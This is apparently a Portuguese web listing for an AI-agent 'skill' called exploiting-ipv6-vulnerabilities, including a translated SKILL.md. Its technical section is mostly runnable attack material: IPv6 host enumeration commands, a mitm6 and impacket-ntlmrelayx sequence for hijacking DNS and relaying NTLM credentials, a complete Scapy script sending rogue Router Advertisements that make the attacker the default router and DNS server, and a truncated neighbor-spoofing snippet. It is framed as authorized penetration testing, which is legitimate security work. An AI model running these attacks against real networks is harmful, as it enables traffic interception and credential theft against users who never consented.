exploiting-ipv6-vulnerabilities
Ajuda seu agente a identificar e explorar vulnerabilidades específicas do IPv6, como spoofing de SLAAC.
O que ela faz
Esta ferramenta ajuda a encontrar e explorar falhas de segurança específicas do IPv6 em redes. Ela testa se as defesas da rede funcionam bem tanto para IPv4 quanto para IPv6, simulando ataques como o 'SLAAC spoofing' e o 'Router Advertisement flooding'.
Quando usar
- ✓Para verificar se as regras de segurança de uma rede funcionam igualmente para IPv4 e IPv6.
- ✓Para demonstrar os riscos de se usar IPv6 sem controle em redes que só deveriam ter IPv4.
- ✓Para testar como firewalls e sistemas de detecção de intrusos reagem a ataques IPv6.
Exemplo do que pedir para a IA
“Teste as vulnerabilidades de IPv6 na rede interna.”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
A ferramenta usa técnicas como o envio de anúncios de roteador falsos para enganar dispositivos, fazendo-os usar o atacante como ponto de passagem. Ela também pode explorar como os dispositivos configuram o IPv6 automaticamente (SLAAC) para interceptar tráfego.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-ipv6-vulnerabilitiesOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/exploiting-ipv6-vulnerabilities/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
Explorando Vulnerabilidades IPv6
Quando Usar
- Testar se redes dual-stack possuem controles de segurança consistentes para tráfego IPv4 e IPv6
- Demonstrar riscos de IPv6 não gerenciado em redes onde apenas IPv4 é oficialmente suportado
- Explorar mecanismos SLAAC e Anúncios de Roteador para realizar ataques man-in-the-middle via IPv6
- Testar regras de firewall cientes de IPv6 e detecção de IDS/IPS para padrões de ataque específicos de IPv6
- Identificar protocolos de tunelamento IPv6 (6to4, Teredo, ISATAP) que contornam controles de segurança apenas IPv4
Não use em redes de produção sem autorização por escrito, contra sistemas onde a interrupção do IPv6 possa causar problemas de segurança, ou para ataques de negação de serviço contra a infraestrutura de rede.
Pré-requisitos
- Autorização por escrito especificando o escopo de testes IPv6 e as técnicas aprovadas
- Kali Linux com THC-IPv6 toolkit, Scapy e mitm6 instalados
- Interface de rede com suporte a IPv6 no segmento de rede alvo
- Compreensão de endereçamento IPv6, SLAAC, NDP e Anúncios de Roteador
- Wireshark para capturar e analisar tráfego IPv6
Fluxo de Trabalho
Passo 1: Enumerar IPv6 na Rede
# Check if IPv6 is enabled on the local interface
ip -6 addr show
# Discover IPv6 hosts on the local link using multicast
ping6 -c 3 ff02::1%eth0
# ff02::1 = all-nodes multicast address
# Use alive6 from THC-IPv6 toolkit to discover hosts
sudo alive6 eth0
# Scan for IPv6-enabled hosts with Nmap
nmap -6 --script ipv6-multicast-mld-list -e eth0
nmap -6 -sn --script targets-ipv6-multicast-echo -e eth0
# Check for Router Advertisements on the network
sudo tcpdump -i eth0 -n -v icmp6 and 'ip6[40] == 134'
# Type 134 = Router Advertisement
# Use radvdump to capture existing RAs
sudo radvdump
# Check for DHCPv6 servers
sudo dhclient -6 -v eth0 --request-only
Passo 2: Realizar Ataque MITM Baseado em SLAAC com mitm6
# mitm6 exploits the default behavior of Windows machines to request
# IPv6 configuration via DHCPv6 when a Router Advertisement is seen
# Start mitm6 to become the IPv6 DNS server
sudo mitm6 -d example.com -i eth0
# mitm6 performs the following:
# 1. Sends Router Advertisements to enable IPv6 on victims
# 2. Responds to DHCPv6 requests, assigning itself as DNS server
# 3. Victims now send DNS queries to the attacker over IPv6
# 4. Attacker can respond with spoofed DNS replies
# Combine with ntlmrelayx for credential relay
sudo impacket-ntlmrelayx -6 -tf targets.txt -wh fake-wpad.example.com -l /tmp/loot
# This exploits:
# 1. WPAD (Web Proxy Auto-Discovery) via DNS
# 2. Windows sends NTLM authentication to the WPAD proxy
# 3. ntlmrelayx relays the credentials to target servers
Passo 3: Falsificação de Anúncios de Roteador
#!/usr/bin/env python3
"""Rogue Router Advertisement for authorized IPv6 testing."""
from scapy.all import *
from scapy.layers.inet6 import *
# Craft a Router Advertisement packet
# This makes the attacker appear as the default IPv6 router
iface = "eth0"
attacker_mac = get_if_hwaddr(iface)
attacker_ipv6 = get_if_addr6(iface)
ra = (
Ether(dst="33:33:00:00:00:01") / # All-nodes multicast
IPv6(src=attacker_ipv6, dst="ff02::1") /
ICMPv6ND_RA(
routerlifetime=1800, # Advertise as router for 30 min
prf=1, # High preference
M=0, # No managed flag (use SLAAC)
O=1 # Other config via DHCPv6 (DNS)
) /
ICMPv6NDOptSrcLLAddr(lladdr=attacker_mac) /
ICMPv6NDOptPrefixInfo(
prefix="2001:db8:dead::", # Rogue prefix
prefixlen=64,
L=1,
A=1,
validlifetime=3600,
preferredlifetime=1800
) /
ICMPv6NDOptRDNSS(
dns=[attacker_ipv6], # Attacker as DNS server
lifetime=1800
)
)
print(f"[*] Sending rogue Router Advertisement from {attacker_ipv6}")
print(f"[*] Advertising prefix 2001:db8:dead::/64")
sendp(ra, iface=iface, count=5, inter=2)
print("[*] RA packets sent. Victims will configure IPv6 with rogue prefix.")
Passo 4: Ataques de Descoberta de Vizinhos IPv6
# Falsificação de Anúncio de Vizinho (equivalente IPv6 de falsificação de ARP)
# Usando a ferramenta parasite6 do THC-IPv6
sudo parasite6 eth0
# Ou criar com Scapy
python3 << 'PYEOF'
from scapy.all import *
from scapy.layers.inet6 import *
# Falsificar Anúncio de Vizinho para redirecionar tráfego
target_ipv6 = "2001:db8::50" # Endereço IPv6 da vítima
gateway_ipv6 = "2001:db8::1" # Endereço IPv6 do gateway
…
Perguntas frequentes
O que é SLAAC?
SLAAC (Stateless Address Autoconfiguration) é um método que permite que dispositivos configurem seu próprio endereço IPv6 automaticamente sem precisar de um servidor DHCP. É como se o dispositivo se apresentasse à rede com um endereço único.
O que são 'Router Advertisements'?
São mensagens que os roteadores enviam para informar aos dispositivos na rede sobre a configuração do IPv6, como o prefixo da rede e o endereço do roteador padrão. Ataques podem envolver o envio de anúncios falsos.
Posso usar isso em qualquer rede?
Não. Você precisa de autorização escrita para testar redes, especialmente em ambientes de produção. Não use em sistemas onde a interrupção possa causar problemas de segurança ou em ataques de negação de serviço.
Detalhes
Descrição original do autor
Identifies and exploits IPv6-specific vulnerabilities including SLAAC spoofing, Router Advertisement flooding, and IPv6 tunneling during authorized assessments to test dual-stack security controls and IPv6-aware network defenses. '
Popularidade
- Estrelas no GitHub
- 35 mil
- Posição no ranking
- #5748
- Licença
- Apache-2.0
- Atualizada em
- 31/08/2026
Comentários
- …
Mais skills deste repositório
abusing-dpapi-for-credential-access
Dá ao seu agente de IA instruções prontas para uma tarefa específica, para ele fazer melhor e mais rápido.
mukul975/Anthropic-Cybersecurity-Skills
abusing-shadow-credentials-for-privesc
Ensina seu agente de IA a escrever textos claros e bem estruturados.
mukul975/Anthropic-Cybersecurity-Skills
achieving-cmmc-level-2-compliance
Ajuda seu agente a preparar um ambiente para conformidade com CMMC Nível 2. Ele implementa requisitos de segurança e gerencia a documentação necessária.
mukul975/Anthropic-Cybersecurity-Skills
acquiring-disk-image-with-dd-and-dcfldd
Ajuda seu agente a criar cópias exatas de discos rígidos. Isso é útil para garantir que nenhuma informação seja perdida ou alterada durante investigações.
mukul975/Anthropic-Cybersecurity-Skills
Skills parecidas
dashboard-builder
Ajuda seu agente a criar painéis de monitoramento úteis. Ele transforma dados em gráficos que respondem a perguntas importantes sobre o sistema.
affaan-m/ECC
dev-team
Simula uma equipe de desenvolvimento colaborativa, onde diferentes papéis respondem a um problema juntos. É útil para obter múltiplas perspectivas sem trocar de agente manualmente.
affaan-m/ECC
ecc-council
Faz seu agente reunir um conselho de quatro vozes para tomar decisões difíceis. É útil quando há várias opções boas e é preciso debater antes de escolher.
affaan-m/ECC